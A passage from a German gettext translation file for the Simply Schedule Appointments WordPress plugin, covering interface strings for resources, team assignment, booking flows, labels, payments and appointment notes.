"Radio Buttons" msgstr "Radio-Buttons" #: languages/admin-app-translations.php:1453 #: languages/admin-app-translations.php:1459 msgid "Dropdown List" msgstr "Auswahlliste" #: languages/admin-app-translations.php:1450 msgid "Resources View" msgstr "Ressourcen-Ansicht" #: languages/admin-app-translations.php:1416 msgid "One item" msgstr "Eine Position" #: languages/admin-app-translations.php:1415 msgid "Identical resources must have quantity" msgstr "Identische Ressourcen erfordern eine Mengenangabe" #: languages/admin-app-translations.php:1414 msgid "Quantity" msgstr "Menge" #: languages/admin-app-translations.php:1413 msgid "Each resource is distinctive and it matters which specific resource from this group is assigned to the booking." msgstr "Jede Ressource ist eindeutig und es ist entscheidend, welche spezifische Ressource aus dieser Gruppe der Buchung zugewiesen wird." #: languages/admin-app-translations.php:1412 msgid "Unique: " msgstr "Eindeutig: " #: languages/admin-app-translations.php:1411 msgid "Each resource is universal and it doesn't matter which specific resource from this group is assigned to the booking." msgstr "Jede Ressource ist universell und es spielt keine Rolle, welche spezifische Ressource aus dieser Gruppe der Buchung zugewiesen ist." #: languages/admin-app-translations.php:1410 msgid "Identical: " msgstr "Identisch: " #: languages/admin-app-translations.php:1409 msgid "Select Resource Group Type" msgstr "Ressourcengruppenart auswählen" #: languages/admin-app-translations.php:1408 msgid "Resources must have descriptions" msgstr "Ressourcen müssen Beschreibungen enthalten" #: languages/admin-app-translations.php:1406 msgid "Resources must have titles" msgstr "Ressourcen müssen Titel aufweisen" #: languages/admin-app-translations.php:1405 msgid "Title" msgstr "Titel" #: languages/admin-app-translations.php:1310 msgid " Select one of the following resources to assign it to appointments of this type" msgstr " Wähle eine der folgenden Ressourcen aus, um sie den Terminen dieser Art zuzuordnen" #: languages/admin-app-translations.php:1309 msgid "Select resource booking preference" msgstr "Wähle die bevorzugte Ressource aus" #: languages/admin-app-translations.php:1308 msgid "Add resources to this group" msgstr "Ressourcen zu dieser Gruppe hinzufügen" #: languages/admin-app-translations.php:1307 msgid "This group is empty. This will result in no available appointments." msgstr "Diese Gruppe ist leer. Dadurch sind keine Termine verfügbar." #: languages/admin-app-translations.php:1306 msgid "An item from these resources will be assigned to appointments of this type" msgstr "Den Terminen dieser Art wird ein Element aus diesen Ressourcen zugeordnet" #: languages/admin-app-translations.php:1305 msgid "User has the option to select which resource they want while booking" msgstr "Der Benutzer hat die Möglichkeit, bei der Buchung die gewünschte Ressource auszuwählen" #: languages/admin-app-translations.php:1304 msgid "User Preference:" msgstr "Benutzerpräferenz:" #: languages/admin-app-translations.php:1303 msgid "Assign a specific resource to appointments of this type" msgstr "Zuweisung einer bestimmten Ressource zu Terminen dieser Art" #: languages/admin-app-translations.php:1302 msgid "Assigned:" msgstr "Zugewiesen:" #: languages/admin-app-translations.php:1301 msgid "Randomly assign a resource to appointments of this type" msgstr "Zufällige Zuweisung einer Ressource zu Terminen dieser Art" #: languages/admin-app-translations.php:1296 msgid "Numbers: 1, 2, 3" msgstr "Zahlen: 1, 2, 3" #: languages/admin-app-translations.php:1295 msgid "Small letters: a, b, c" msgstr "Kleinbuchstaben: a, b, c" #: languages/admin-app-translations.php:1294 msgid "Capital letters: A, B, C" msgstr "Großbuchstaben: A, B, C" #: languages/admin-app-translations.php:1293 msgid "Choose a type for auto increment" msgstr "Wähle die Art der automatischen Inkrementierung" #: languages/admin-app-translations.php:1290 msgid "Editing Resource" msgstr "Ressource bearbeiten" #: languages/admin-app-translations.php:1289 msgid "Editing Resource Group" msgstr "Ressourcengruppe bearbeiten" #: languages/admin-app-translations.php:1288 msgid "Resource settings" msgstr "Ressourcen-Einstellungen" #: languages/admin-app-translations.php:1287 msgid "Select resources to display" msgstr "Wähle die anzuzeigenden Ressourcen aus" #: languages/admin-app-translations.php:1286 msgid "New Resource Group" msgstr "Neue Ressourcengruppe" #: languages/admin-app-translations.php:1284 msgid "Resources - Inactive" msgstr "Ressourcen – Inaktiv" #: languages/admin-app-translations.php:1281 msgid "How many resources would you like to auto generate?" msgstr "Wie viele Ressourcen möchtest du automatisch generieren lassen?" #: languages/admin-app-translations.php:1279 msgid "Edit Resource Group" msgstr "Ressourcengruppe bearbeiten" #: languages/admin-app-translations.php:1278 msgid "Auto Generate Resources" msgstr "Ressourcen automatisch generieren" #: languages/admin-app-translations.php:1277 msgid "Add New Resource" msgstr "Neue Ressourcen hinzufügen" #: languages/admin-app-translations.php:1276 msgid "Add New Resource Group" msgstr "Neue Ressourcengruppe hinzufügen" #: languages/admin-app-translations.php:1272 msgid "Looks like this resource group doesn't have any unique resources yet. Click the button to add new resources or auto generate them" msgstr "Diese Ressourcengruppe enthält scheinbar noch keine eindeutigen Ressourcen. Klicke auf den Button, um neue Ressourcen hinzuzufügen oder sie automatisch zu generieren" #: languages/admin-app-translations.php:1271 msgid "Looks like you're not providing resources. Click the button to add a new resources." msgstr "Es scheint, dass Sie keine Ressourcen bereitstellen. Klicke auf den Button, um eine neue Ressource hinzuzufügen" #: languages/admin-app-translations.php:1270 msgid "No inactive resources" msgstr "Keine inaktive Ressourcen" #: languages/admin-app-translations.php:1269 msgid "No resources added yet" msgstr "Noch keine Ressourcen hinzugefügt" #: languages/admin-app-translations.php:1268 msgid "Loading Resource" msgstr "Ressource wird geladen" #: languages/admin-app-translations.php:1267 msgid "Loading Resources" msgstr "Ressourcen werden geladen" #: languages/admin-app-translations.php:1072 msgid "Equal assignment of appointments for team members" msgstr "Gleichmäßige Terminzuweisung an Teammitglieder" #: languages/admin-app-translations.php:1071 msgid "Round Robin:" msgstr "Rundlaufverfahren:" #: languages/admin-app-translations.php:1070 msgid "Random assignment of appointments for team members" msgstr "Zufällige Zuweisung von Terminen an Teammitglieder" #: languages/admin-app-translations.php:1069 msgid "Random:" msgstr "Zufällig:" #: languages/admin-app-translations.php:1068 msgid "Choose how a team member is assigned" msgstr "Wähle aus, wie ein Teammitglied zugewiesen wird" #: languages/admin-app-translations.php:1060 msgid "Allow customer to select a team member for their appointment" msgstr "Dem Kunden die Möglichkeit geben, ein Teammitglied für seinen Termin auszuwählen" #: languages/admin-app-translations.php:1059 msgid "User preference:" msgstr "Benutzerpräferenz:" #: languages/admin-app-translations.php:133 msgid "What resources come with this appointment type" msgstr "Welche Ressourcen gehören zu dieser Terminart" #: includes/class-availability-model.php:730 #: includes/elementor/widgets/upcoming-appointments.php:308 #: languages/admin-app-translations.php:132 #: languages/admin-app-translations.php:1266 #: languages/admin-app-translations.php:1480 msgid "Resources" msgstr "Ressourcen" #: languages/admin-app-translations.php:76 msgid "No resources set up for this appointment type" msgstr "Für diese Terminart sind keine Ressourcen eingerichtet" #: languages/admin-app-translations.php:75 msgid "No resources have been set up yet." msgstr "Es wurden noch keine Ressourcen eingerichtet." #: languages/admin-app-translations.php:16 msgid "create" msgstr "erstellen" #: includes/class-capabilities.php:145 languages/admin-app-translations.php:26 msgid "Manage Resources" msgstr "Ressourcen verwalten" #: languages/booking-app-new-translations.php:216 msgid "Enter a phone number" msgstr "Telefonnummer eingeben" #: languages/booking-app-new-translations.php:127 msgid "Field required." msgstr "Feld erforderlich." #: languages/admin-app-translations.php:1793 msgid "Edit & Reschedule Screen" msgstr "Bearbeitungs- und Umplanungsansicht" #: languages/admin-app-translations.php:1792 msgid "Confirmation Screen" msgstr "Bestätigungsansicht" #: languages/admin-app-translations.php:1791 msgid "Customer Information Screen" msgstr "Kundeninformationsansicht" #: languages/admin-app-translations.php:1787 msgid "Where to display the cancelation & refund policy" msgstr "Wo sollen die Stornierungs- und Erstattungsbedingungen angezeigt werden" #: languages/admin-app-translations.php:1783 msgid "Enter the text that users will see next to the agreement checkbox. For example: I agree to the Refund & Cancelation Policy." msgstr "Gib den Text ein, der den Benutzern neben der Checkbox für die Zustimmung angezeigt wird. Zum Beispiel: Ich stimme den Rückerstattungs- und Stornierungsrichtlinien zu." #: languages/admin-app-translations.php:1782 msgid "Checkbox Label" msgstr "Checkbox-Beschriftung" #: languages/admin-app-translations.php:1781 msgid "I agree" msgstr "Ich stimme zu" #: languages/admin-app-translations.php:1780 msgid "This will display a required checkbox in the customer information screen with a default label message 'I agree'. You can always change the label here." msgstr "Dadurch wird auf dem Bildschirm mit den Kundeninformationen ein erforderliches Kontrollkästchen mit der Standardbeschriftung «Ich stimme zu» angezeigt. Du kannst die Beschriftung hier jederzeit ändern." #: languages/admin-app-translations.php:1779 msgid "Require Refund & Cancelation Policy Agreement" msgstr "Rückerstattungs- und Stornierungsvereinbarung erforderlich" #: languages/admin-app-translations.php:1778 msgid "Label field cannot be empty" msgstr "Beschriftungsfeld darf nicht leer sein" #: languages/admin-app-translations.php:1777 msgid "Text field cannot be empty if required" msgstr "Textfeld darf nicht leer sein, wenn es erforderlich ist" #: languages/admin-app-translations.php:1774 msgid "Refund & Cancelation Policy" msgstr "Rückerstattung & Stornierungsbedingungen" #: languages/admin-app-translations.php:1770 msgid "Cancelation & Refund Policy" msgstr "Stornierungs- und Rückerstattungsbedingung" #: languages/admin-app-translations.php:1765 msgid "Require Payments" msgstr "Zahlungen anfordern" #: languages/admin-app-translations.php:1435 msgid "Show end time for available appointment time slots" msgstr "Endzeitpunkt für verfügbare Terminfenster anzeigen" #: languages/admin-app-translations.php:1262 msgid "Your selected color combination meets accessibility guidelines and ensures readability for most users." msgstr "Die von dir gewählte Farbkombination entspricht den Richtlinien für Barrierefreiheit und gewährleistet die Lesbarkeit für die meisten Benutzer." #: languages/admin-app-translations.php:1261 msgid "The contrast ratio between the accent color and the background color is too low for both normal and large text." msgstr "Das Kontrastverhältnis zwischen der Akzentfarbe und der Hintergrundfarbe ist sowohl für normalen als auch für großen Text zu gering." #: languages/admin-app-translations.php:1260 msgid "Contrast ratio" msgstr "Kontrastverhältnis" #: languages/admin-app-translations.php:395 msgid "Share your feedback" msgstr "Teile uns dein Feedback mit" #: languages/admin-app-translations.php:394 msgid "Leave us a review" msgstr "Schreibe uns eine Bewertung" #: languages/admin-app-translations.php:393 msgid "OK. It could be better." msgstr "OK. Es könnte besser sein." #: languages/admin-app-translations.php:392 msgid "Fantastic!" msgstr "Fantastisch!" #: languages/admin-app-translations.php:389 msgid "Foxy holding balloons under a banner that says Congratulations" msgstr "Foxy hält Luftballons unter einem Transparent mit der Aufschrift: „Congratulations“" #: languages/admin-app-translations.php:388 msgid "We're sorry to hear that..." msgstr "Es tut uns leid, das zu hören …" #: languages/admin-app-translations.php:387 msgid "Yippee!" msgstr "Juhu!" #: languages/admin-app-translations.php:386 msgid "Could you please let us know what needs to be improved? We answer every email and would love the chance to hear your thoughts." msgstr "Könntest du uns bitte mitteilen, was verbessert werden muss? Wir beantworten jede E-Mail und würden uns freuen, deine Meinung zu hören." #: languages/admin-app-translations.php:385 msgid "We'd love it if you could leave us a review on WordPress.org letting us know how the plugin has improved your business" msgstr "Wir würden uns freuen, wenn du eine Bewertung auf WordPress.org abgibst und uns mitteilst, wie das Plugin dein Geschäft verbessert hat" #: languages/admin-app-translations.php:384 msgid "Your feedback is super important to us, as we're always trying to make the plugin better and hear your thoughts. Where would you say you're experience lies:" msgstr "Dein Feedback ist für uns sehr wichtig, da wir immer versuchen, das Plugin zu verbessern und deine Meinung zu hören. Wo würdest du sagen, liegt deine Erfahrung:" #: languages/admin-app-translations.php:383 msgid "You have successfully booked 100 appointments using Simply Schedule Appointments so far. We hope you're enjoying using the plugin and that it's been helpful to your website!" msgstr "Du hast erfolgreich 100 Termine mit Simply Schedule Appointments gebucht. Wir hoffen, dass du das Plugin gerne nutzt und es für deine Website hilfreich ist!" #: languages/admin-app-translations.php:382 msgid "Congrats on 100 Bookings, Let Us Know What You Think!" msgstr "Herzlichen Glückwunsch zu 100 Buchungen! Lass uns deine Meinung wissen." #: languages/admin-app-translations.php:249 msgid "Customizable booking flows (Choose from a selection of booking steps and layouts.)" msgstr "Anpassbare Buchungsabläufe (wähle aus einer Palette von Buchungsschritten und Layouts)." #: includes/class-block-booking.php:82 #: includes/elementor/widgets/booking.php:271 msgid "Use default settings from appointment type" msgstr "Standardeinstellungen der Terminart verwenden" #: includes/class-block-booking.php:169 #: includes/elementor/widgets/booking.php:239 msgid "Grid" msgstr "Raster" #: includes/class-block-booking.php:165 #: includes/elementor/widgets/booking.php:238 msgid "List" msgstr "Liste" #: includes/class-block-booking.php:152 #: includes/elementor/widgets/booking.php:435 msgid "Single column" msgstr "Einspaltig" #: includes/class-block-booking.php:117 #: includes/elementor/widgets/booking.php:309 msgid "Weeks" msgstr "Wochen" #: includes/class-block-booking.php:113 #: includes/elementor/widgets/booking.php:308 msgid "Days" msgstr "Tage" #: includes/class-block-booking.php:109 #: includes/elementor/widgets/booking.php:307 msgid "Hours" msgstr "Stunden" #: includes/class-block-booking.php:94 #: includes/elementor/widgets/booking.php:274 msgid "First available" msgstr "Erstmals verfügbar" #: languages/booking-app-new-translations.php:41 msgid "Select a date and time" msgstr "Wähle ein Datum und eine Uhrzeit aus" #: languages/admin-app-translations.php:1656 msgctxt "Input field label" msgid "Label" msgstr "Label" #: languages/admin-app-translations.php:1630 msgctxt "Appointment types labels Menu" msgid "Labels" msgstr "Kennzeichnungen" #: languages/admin-app-translations.php:1428 msgctxt "Appointment type label" msgid "Label" msgstr "Kennzeichnung" #: languages/admin-app-translations.php:2020 msgid "Other Appointment types" msgstr "Andere Terminarten" #: languages/admin-app-translations.php:2019 msgid "Current Appointment type" msgstr "Aktuelle Terminart" #: languages/admin-app-translations.php:2018 msgid "Currently Assigned" msgstr "Zurzeit zugewiesen" #: languages/admin-app-translations.php:2017 msgid "Unavailable" msgstr "Nicht verfügbar" #: languages/admin-app-translations.php:2016 msgid "Inactive" msgstr "Inaktiv" #: languages/admin-app-translations.php:2015 msgid "Not assigned to this appointment type" msgstr "Nicht dieser Terminart zugeordnet" #: languages/admin-app-translations.php:2014 msgid "Allow team members from other appointment types" msgstr "Teammitglieder aus anderen Terminarten zulassen" #: languages/admin-app-translations.php:2013 msgid "Assign team members" msgstr "Teammitglieder zuweisen" #: languages/admin-app-translations.php:2012 msgid "Selecting an unavailable team member may result in scheduling conflicts with their calendar." msgstr "Wenn du ein nicht verfügbares Teammitglied auswählst, kann dies zu Terminkonflikten mit dessen Kalender führen." #: languages/admin-app-translations.php:2011 msgid "No team members will be assigned to this appointment." msgstr "Diesem Termin werden keine Teammitglieder zugewiesen." #: languages/admin-app-translations.php:2010 msgid "Checking team members availability" msgstr "Überprüfung der Verfügbarkeit der Teammitglieder" #: languages/admin-app-translations.php:2009 msgid "Edit Team Members for Appointment" msgstr "Teammitglieder für Termin bearbeiten" #: languages/admin-app-translations.php:2008 msgid "Edit Team Members" msgstr "Teammitglieder bearbeiten" #: languages/admin-app-translations.php:1941 #: languages/admin-app-translations.php:2207 msgid "Assigned" msgstr "Zugewiesen" #: languages/admin-app-translations.php:1940 #: languages/admin-app-translations.php:2206 msgid "Reassigned" msgstr "Neu zugewiesen" #: languages/admin-app-translations.php:1931 #: languages/admin-app-translations.php:2197 msgid "First Booked" msgstr "Erstmals gebucht" #: languages/admin-app-translations.php:1860 msgid "Mark appointment as" msgstr "Termin kennzeichnen als" #: languages/admin-app-translations.php:1855 msgid "Loading settings" msgstr "Einstellungen werden geladen" #: languages/admin-app-translations.php:1854 msgid "Marking this appointment abandoned will release this slot from being reserved and make it available for others to book again." msgstr "Wenn du diesen Termin als gelöscht markierst, wird die Reservierung für diesen Termin aufgehoben und er steht wieder zur Buchungen bereit." #: languages/admin-app-translations.php:1853 msgid "Marking this appointment canceled will release the time slot and send any notifications you have set up." msgstr "Wenn du diesen Termin als storniert markierst, wird das Zeitfenster freigegeben und werden alle von dir eingerichteten Benachrichtigungen versendet." #: languages/admin-app-translations.php:1852 msgid "Marking this appointment booked will reserve the time slot and send any notifications you have set up." msgstr "Wenn du diesen Termin als gebucht markierst, wird das Zeitfenster reserviert und werden alle von dir eingerichteten Benachrichtigungen versendet." #: languages/admin-app-translations.php:1851 msgid "Change the status for this appointment." msgstr "Ändere den Status für diesen Termin." #: languages/admin-app-translations.php:1846 msgid "Confirm change" msgstr "Änderung bestätigen" #: languages/admin-app-translations.php:1844 msgid "Keep status" msgstr "Status beibehalten" #: languages/admin-app-translations.php:1579 msgid "The below flow is displayed when first available appointment is not within the time limit set" msgstr "Der folgende Ablauf wird angezeigt, wenn der erste verfügbare Termin nicht innerhalb des festgelegten Zeitraums liegt" #: languages/admin-app-translations.php:1578 msgid "First Available within" msgstr "Erstmals verfügbar innerhalb von" #: languages/admin-app-translations.php:1577 msgid "How much time before we resort to fallback flow?" msgstr "Wie lange soll gewartet werden, bis wir auf den Ausweichablauf zurückgreifen?" #: languages/admin-app-translations.php:1484 msgid "Appointment Options" msgstr "Termin-Optionen" #: languages/admin-app-translations.php:1482 msgid "Time" msgstr "Uhrzeit" #: languages/admin-app-translations.php:1481 msgid "Date" msgstr "Datum" #: languages/admin-app-translations.php:1477 msgid "Appointment options" msgstr "Termin-Optionen" #: languages/admin-app-translations.php:1473 msgid "Single Column" msgstr "Einspaltig" #: includes/class-block-booking.php:148 #: includes/elementor/widgets/booking.php:434 #: languages/admin-app-translations.php:1472 msgid "Time of day columns" msgstr "Spalten für die Tageszeit" #: includes/elementor/widgets/booking.php:361 #: includes/elementor/widgets/booking.php:443 #: languages/admin-app-translations.php:1469 msgid "Time View" msgstr "Zeit-Ansicht" #: includes/class-block-booking.php:142 #: includes/elementor/widgets/booking.php:392 #: languages/admin-app-translations.php:1467 msgid "Only available dates" msgstr "Nur verfügbare Daten" #: includes/elementor/widgets/booking.php:357 #: includes/elementor/widgets/booking.php:400 #: languages/admin-app-translations.php:1462 msgid "Date View" msgstr "Datum-Ansicht" #: languages/admin-app-translations.php:1448 msgid "First Available" msgstr "Erstmals verfügbar" #: includes/class-block-booking.php:90 includes/class-block-booking.php:128 #: includes/elementor/widgets/booking.php:273 #: includes/elementor/widgets/booking.php:330 #: languages/admin-app-translations.php:1447 msgid "Express" msgstr "Express" #: includes/class-block-booking.php:86 includes/class-block-booking.php:124 #: includes/elementor/widgets/booking.php:272 #: includes/elementor/widgets/booking.php:329 #: languages/admin-app-translations.php:1446 msgid "Expanded" msgstr "Erweitert" #: includes/elementor/widgets/booking.php:338 #: languages/admin-app-translations.php:1436 msgid "Fallback Flow" msgstr "Ausweichablauf" #: languages/admin-app-translations.php:1434 msgid "Main Booking Flow" msgstr "Hauptbuchungsablauf" #: languages/admin-app-translations.php:1433 msgid "Booking Layout" msgstr "Buchungs-Layout" #: languages/admin-app-translations.php:441 msgid "The per day booking limit must be a number greater than zero." msgstr "Das Buchungslimit pro Tag muss eine Zahl über Null sein." #: languages/admin-app-translations.php:160 msgid "Choose the sequence of the booking steps" msgstr "Wähle die Reihenfolge der Buchungsschritte" #: includes/elementor/widgets/booking.php:266 #: languages/admin-app-translations.php:159 msgid "Booking Flow" msgstr "Buchungsablauf" #: languages/admin-app-translations.php:72 msgid "The following team member(s) are no longer available for this appointment" msgstr "Folgende Teammitglieder sind für diesen Termin nicht mehr verfügbar" #: languages/admin-app-translations.php:30 msgid "Save Changes" msgstr "Änderungen speichern" #: includes/class-revision-model.php:858 msgid "no one" msgstr "niemand" #: includes/class-availability-model.php:721 msgid "The date and time you selected is unavailable because there are no team members available." msgstr "Das von dir ausgewählte Datum und die Uhrzeit sind nicht verfügbar, da keine Teammitglieder frei sind." #: includes/class-appointment-model.php:1277 msgid "The time slot for this appointment is still available." msgstr "Das Zeitfenster für diesen Termin ist noch frei." #: includes/class-appointment-model.php:1272 msgid "The time slot for this appointment was booked and is no longer available." msgstr "Das Zeitfenster für diesen Termin wurde gebucht und ist nicht mehr verfügbar." #: includes/class-appointment-model.php:1253 msgid "This time slot is reserved for this appointment" msgstr "Dieses Zeitfenster ist für diesen Termin reserviert" #: languages/booking-app-new-translations.php:114 msgid "Add rescheduling note" msgstr "Hinweis zur Terminänderung hinzufügen" #: languages/booking-app-new-translations.php:113 msgid "Edit rescheduling note" msgstr "Hinweis zur Terminänderung bearbeiten" #: languages/booking-app-new-translations.php:106 msgid "Add Note" msgstr "Notiz hinzufügen" #: languages/booking-app-new-translations.php:102 msgid "This note will be visible to your customer and will be sent with any notifications you have set up." msgstr "Dieser Hinweis ist für deine Kunden sichtbar und wird zusammen mit den von dir eingerichteten Benachrichtigungen verschickt." #: languages/booking-app-new-translations.php:100 msgid "This appointment will be rescheduled to" msgstr "Dieser Termin wird verschoben auf" #: languages/booking-app-new-translations.php:99 msgid "Would you like to leave a rescheduling note?" msgstr "Möchtest du einen Hinweis zur Terminänderung hinzufügen?" #: languages/booking-app-new-translations.php:87 #: languages/booking-app-new-translations.php:101 msgid "Rescheduling Note" msgstr "Hinweis zur Terminänderung" #: languages/admin-app-translations.php:1939 #: languages/admin-app-translations.php:2205 msgid "Synced" msgstr "Synchronisiert" #: languages/admin-app-translations.php:1920 msgid "Loading appointment history" msgstr "Laden des Terminverlaufs" #: languages/admin-app-translations.php:1826 msgid "Appointment History" msgstr "Terminverlauf" #: languages/admin-app-translations.php:942 msgid "The name of the user who rescheduled the appointment" msgstr "Der Name des Benutzers, der den Termin geändert hat" #: languages/admin-app-translations.php:941 msgid "An optional note added when rescheduling the appointment" msgstr "Ein optionaler Hinweis, der bei der Terminänderung hinzugefügt wird" #: languages/admin-app-translations.php:552 msgid "Display appointments revisions in appointment details view." msgstr "Terminänderungen in der Termindetailansicht anzeigen." #: languages/admin-app-translations.php:551 msgid "Appointments Revisions" msgstr "Terminänderungen" #: languages/admin-app-translations.php:12 msgid "Mark as Abandoned" msgstr "Als abgesagt markieren" #: languages/booking-app-new-translations.php:197 msgid "Stripe is taking a little longer than usual to process your payment. Don't worry - we'll hold your appointment time for you. This usually resolves within a few minutes, or in rare cases, a few hours. Once your payment is processed, you'll receive an email confirmation of this appointment. If you don't receive that, please get in touch." msgstr "Stripe braucht etwas länger als üblich, um deine Zahlung zu bearbeiten. Aber keine Sorgen – wir halten deinen Termin für dich frei. In der Regel ist dies innerhalb weniger Minuten, in seltenen Fällen innerhalb weniger Stunden, erledigt. Sobald deine Zahlung bearbeitet wurde, erhältst du eine E-Mail-Bestätigung für diesen Termin. Solltest du diese nicht erhalten, setze dich bitte mit uns in Verbindung." #: languages/admin-app-translations.php:2076 msgid "You are currently outside the booking window." msgstr "Du befindest dich aktuell außerhalb des Buchungsfensters." #: languages/admin-app-translations.php:849 msgid "Test Webhook Signing Secret" msgstr "Test Webhook-Signatur-Secret" #: languages/admin-app-translations.php:842 msgid "Get your signing secret from" msgstr "Erhalte dein Signatur-Secret" #: languages/admin-app-translations.php:841 msgid "Webhook Signing Secret" msgstr "Webhook-Signatur-Secret" #: languages/admin-app-translations.php:830 msgid "Please enter a valid test webhook secret" msgstr "Bitte gib ein gültiges Test-Webhook-Secret ein" #: languages/admin-app-translations.php:816 msgid "Please enter a valid webhook secret" msgstr "Bitte gib ein gültiges Webhook-Secret ein" #: languages/admin-app-translations.php:659 msgid "Authorize" msgstr "Autorisieren" #: languages/admin-app-translations.php:541 msgid "Connect your Google Calendar without creating your own Google Cloud Platform project. Requires an active plugin license." msgstr "Verbinde deinen Google Kalender ohne ein eigenes Google Cloud Plattform-Projekt zu erstellen. Dies erfordert eine aktive Plugin-Lizenz." #: includes/class-error-notices.php:407 msgid "Looks like your webhook secret value is setup incorrectly. Please make sure you copy the correct secret from your Stripe dashboard" msgstr "Das Webhook-Secret scheint falsch konfiguriert zu sein. Bitte stelle sicher, dass du das richtige Secret aus deinem Stripe Dashboard kopierst" #: includes/class-availability-model.php:699 msgid "The date and time you selected is unavailable because of appointments." msgstr "Das von dir gewählte Datum und die Uhrzeit sind aufgrund anderer Termine nicht verfügbar." #: includes/class-availability-model.php:698 #: languages/admin-app-translations.php:1825 msgid "Appointment" msgstr "Termin" #: includes/class-availability-model.php:688 msgid "The date and time you selected is unavailable because of pending payments (a customer booked this time but has not completed the payment yet)." msgstr "Das von dir gewählte Datum und die Uhrzeit sind wegen ausstehender Zahlungen nicht verfügbar (ein Kunde hat diesen Termin gebucht, aber die Zahlung noch nicht abgeschlossen)." #: includes/class-availability-model.php:687 msgid "Pending Payments" msgstr "Ausstehende Zahlungen" #: includes/class-availability-model.php:676 msgid "The date and time you selected is unavailable because of pending form submissions." msgstr "Das von dir gewählte Datum und die Uhrzeit sind nicht verfügbar, da es noch ausstehende Formularübertragungen gibt." #: includes/class-availability-model.php:675 msgid "Pending Form Submissions" msgstr "Ausstehende Formularübermittlungen" #: includes/class-availability-model.php:664 msgid "The date and time you selected is unavailable because of a booked appointment." msgstr "Das von dir gewählte Datum und die Uhrzeit sind aufgrund eines bereits gebuchten Termins nicht mehr verfügbar." #: includes/class-availability-model.php:663 msgid "Booked Appointment" msgstr "Gebuchter Termin" #: includes/class-availability-model.php:649 msgid "The date and time you selected is unavailable because of pending appointments." msgstr "Das von dir gewählte Datum und die Uhrzeit sind wegen ausstehender Termine nicht verfügbar." #: includes/class-availability-model.php:583 msgid "The date and time you selected is unavailable because of a booked appointment in another appointment type." msgstr "Das von dir gewählte Datum und die Uhrzeit sind nicht verfügbar, da bereits ein Termin einer anderen Terminart gebucht wurde." #: includes/class-availability-model.php:582 msgid "Separate Appointment Type Availability" msgstr "Gesonderte Terminart-Verfügbarkeit" #: languages/admin-app-translations.php:1976 msgid "ICS link copied to clipboard" msgstr "ICS-Link in die Zwischenablage kopiert" #: languages/admin-app-translations.php:1975 msgid "Paste this link in any iCalendar compatible application to sync your appointments." msgstr "Füge diesen Link in eine beliebige iCalendar-kompatible Anwendung ein, um deine Termine zu synchronisieren." #: languages/admin-app-translations.php:1974 msgid "Your Calendar Subscription URL" msgstr "URL deines Kalenderabonnements" #: languages/admin-app-translations.php:1960 msgid "Subscribe to calendar" msgstr "Kalender abonnieren" #: languages/booking-app-new-translations.php:86 msgid "Cancelation Note" msgstr "Anmerkung zur Stornierung" #: languages/admin-app-translations.php:1856 msgid "This note will be visible to your customers." msgstr "Dieser Hinweis ist für deine Kunden sichtbar." #: languages/admin-app-translations.php:1850 msgid "Cancelation note" msgstr "Anmerkung zur Stornierung" #: languages/admin-app-translations.php:940 msgid "The name of the user who canceled the appointment" msgstr "Der Name des Benutzers, der den Termin storniert hat" #: languages/admin-app-translations.php:939 msgid "An optional note added when canceling the appointment" msgstr "Eine optionale Anmerkung, die bei der Absage des Termins hinzugefügt wird" #: includes/class-upgrade.php:1130 includes/class-upgrade.php:1140 msgid "Note" msgstr "Hinweis" #: includes/class-upgrade.php:1130 includes/class-upgrade.php:1140 msgid "left a note" msgstr "hat eine Anmerkung hinterlassen" #: includes/class-revision-model.php:804 includes/class-revision-model.php:826 #: includes/class-templates.php:618 includes/class-templates.php:642 msgid "A logged out user" msgstr "Ein abgemeldeter Benutzer" #: languages/admin-app-translations.php:1249 msgid "Only enable this mode if your website has a dark background color (all black with white text, for example)" msgstr "Aktiviere diesen Modus nur, wenn deine Website eine dunkle Hintergrundfarbe hat (z. B. schwarz mit weißem Text)." #: languages/admin-app-translations.php:1047 msgid "Manage team members" msgstr "Teammitglieder verwalten" #: languages/admin-app-translations.php:918 msgid "The password required to access the virtual meeting" msgstr "Das Passwort für den Zugang zum virtuellen Meeting" #: languages/admin-app-translations.php:917 msgid "The URL of the virtual meeting for the appointment" msgstr "Die URL des virtuellen Meetings für den vereinbarten Termin" #: languages/booking-app-new-translations.php:193 msgid "Payment Due:" msgstr "Fälligkeit der Zahlung:" #: languages/booking-app-new-translations.php:70 msgid "Please wait while we redirect you" msgstr "Bitte warte, während wir dich weiterleiten" #: languages/admin-app-translations.php:1964 msgid "All types" msgstr "Alle Arten" #: languages/admin-app-translations.php:1963 msgid "Select all appointment types with label" msgstr "Wähle alle Terminarten mit Label aus" #: languages/admin-app-translations.php:1962 msgid "Appointment Types & Labels" msgstr "Terminarten & Labels" #: languages/admin-app-translations.php:1631 msgid "Clear filter" msgstr "Filter löschen" #: includes/elementor/widgets/booking.php:189 msgid "Labels" msgstr "Labels" #: languages/admin-app-translations.php:1505 msgid "Label name must be unique" msgstr "Das Label muss eindeutig sein" #: languages/admin-app-translations.php:1504 msgid "Name must not include:" msgstr "Der Name darf nicht enthalten:" #: languages/admin-app-translations.php:1503 msgid "Default label cannot be deleted" msgstr "Das Standard-Label kann nicht gelöscht werden" #: languages/admin-app-translations.php:1502 msgid "Choose a color" msgstr "Wähle eine Farbe aus" #: languages/admin-app-translations.php:1501 msgid "Label name" msgstr "Name des Labels" #: languages/admin-app-translations.php:1500 msgid "Add new label" msgstr "Neues Label hinzufügen" #: languages/admin-app-translations.php:1499 msgid "Delete label" msgstr "Label löschen" #: languages/admin-app-translations.php:1498 msgid "Edit label" msgstr "Label bearbeiten" #: languages/admin-app-translations.php:1497 msgid "Update label" msgstr "Label aktualisieren" #: languages/admin-app-translations.php:1496 msgid "Create label" msgstr "Label erstellen" #: languages/admin-app-translations.php:1495 msgid "Select label" msgstr "Label auswählen" #: languages/admin-app-translations.php:1494 msgid "Confirm delete" msgstr "Löschen bestätigen" #: languages/admin-app-translations.php:1493 msgid "Keep label" msgstr "Label behalten" #: languages/admin-app-translations.php:1492 msgid "Deleting this label will change the label of the following appointment type(s) to the default label" msgstr "Durch das Löschen dieses Labels wird die Kennzeichnung der folgenden Terminart(en) auf das Standard-Label geändert" #: languages/admin-app-translations.php:1491 msgid "Are you sure you want to delete this label?" msgstr "Bist du sicher, dass du dieses Label löschen möchtest?" #: languages/admin-app-translations.php:1490 msgid "Confirm delete dialog" msgstr "Bestätige den Löschdialog" #: languages/admin-app-translations.php:1489 msgid "Open label settings to select, create, delete or edit your labels" msgstr "Öffne die Label-Einstellungen, um deine Labels auszuwählen, zu erstellen, zu löschen oder zu bearbeiten." #: languages/admin-app-translations.php:1430 msgid "(current)" msgstr "(aktuell)" #: 